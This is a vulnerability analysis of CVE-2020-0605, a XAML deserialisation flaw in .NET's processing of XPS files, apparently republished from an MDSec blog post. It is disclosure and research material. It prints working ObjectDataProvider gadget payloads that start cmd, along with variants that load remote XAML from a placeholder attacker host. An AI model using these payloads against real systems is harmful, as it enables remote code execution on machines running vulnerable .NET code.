By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/

Study of CVE-2020-0605 – Code Execution using XPS Files in .NET

Brief Introduction

Microsoft patched a number of deserialisation issues using the XPS files. Although the patch for CVE-2020-0605 was released in January 2020, it was incomplete and an additional update was released in May 2020.

XPS are used as a replacement for PDF format, but it has never become as widespread as PDF. Microsoft has made the XPS Viewer application optional in the latest versions of Windows 10 by default (clean install of Windows 10 version 1803 or above). In addition to this the XPS Viewer application does not use .NET to show the XPS files and therefore it was not affected.

The patched issue could be useful to exploit any code that deals with the XPS file using .NET libraries. The identified issues could also be helpful as bridged gadgets when exploiting XAML deserialisation related issue.

Technical Details of the Vulnerability

Each XPS file contains a number of files such as images, fonts, or XML contents in compressed format. XAML serialisation in .NET is used to process a number of XML documents within the XPS files.

A sample XPS file structure can look like this:

```
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
```

Files with the ".fdseq", ".fdoc", and ".fpage" use the XAML serialisation process in .NET.

It is also possible to use other extensions as long as the appropriate types have been defined in the "[Content_Types].xml" file.

The following simple payload from the ysoseria.net project can be included in any of these files to execute code when reading a XPS file:

```
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
 xmlns:System="clr-namespace:System;assembly=mscorlib"
 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
 <ObjectDataProvider x:Key="LaunchCalc"
 ObjectType="{x:Type Diag:Process}"
 MethodName="Start">
```

By Soroush Dalili (@irsdl) – source: https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/

```
 <ObjectDataProvider.MethodParameters>
 <System:String>cmd</System:String>
 <System:String>/c calc</System:String>
 </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary>
```

The January patched only added protection for the ".fdseq" file but it was still possible to exploit it using the other files.

The following C# code shows two examples of how a XPS file could be used by .NET:

```
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps",
FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();
```

Or

```
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test",
@"http://[attackersite]/test.xps", false);
```

It should be noted that the BAML (compiled version of XAML) documents within XPS files could not be used for exploitation during our tests as they were causing an internal error.

Affected internal .NET libraries

The `Load` and `Validate` methods of the `XpsValidatingLoader` class is an internal class of the `System.Windows.Documents` namespace could lead to code execution when dealing with a malicious XAML payload as they both called another private method that used `XamlReader.Load`.

- System.Windows.Documents.XpsValidatingLoader -> internal class
  - Load -> internal method, used in:
    - System.Windows.Documents.PageContent
    - System.Windows.Documents.FixedDocument
    - System.Windows.Documents.DocumentReference
  - Validate -> internal method, used in:
    - System.Windows.Documents.FixedDocument

The above internal class files then are used by other classes that be accessible publicly in the end.

XAML bridged gadgets

It was also possible to use the vulnerable code in order add more XAML gadget for the ysoserial.net project:

Using FixedDocumentSequence and an external file:

```
<FixedDocumentSequence
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>
```

Using FixedDocumentSequence and the Resources property:

```
<FixedDocumentSequence
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-
namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <FixedDocumentSequence.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="">
      <ObjectDataProvider.ObjectInstance>
```

```
        <sd:Process>
          <sd:Process.StartInfo>
            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
          </sd:Process.StartInfo>
        </sd:Process>
      </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
  </FixedDocumentSequence.Resources>
</FixedDocumentSequence>
```

Using FixedDocument and an external file:

```
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816"
/>
</FixedDocument>
```

Using FixedDocument and the Resources property:

```
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-
namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <FixedDocument.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="">
      <ObjectDataProvider.ObjectInstance>
        <sd:Process>
          <sd:Process.StartInfo>
            <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
          </sd:Process.StartInfo>
        </sd:Process>
      </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
  </FixedDocument.Resources>
</FixedDocument>
```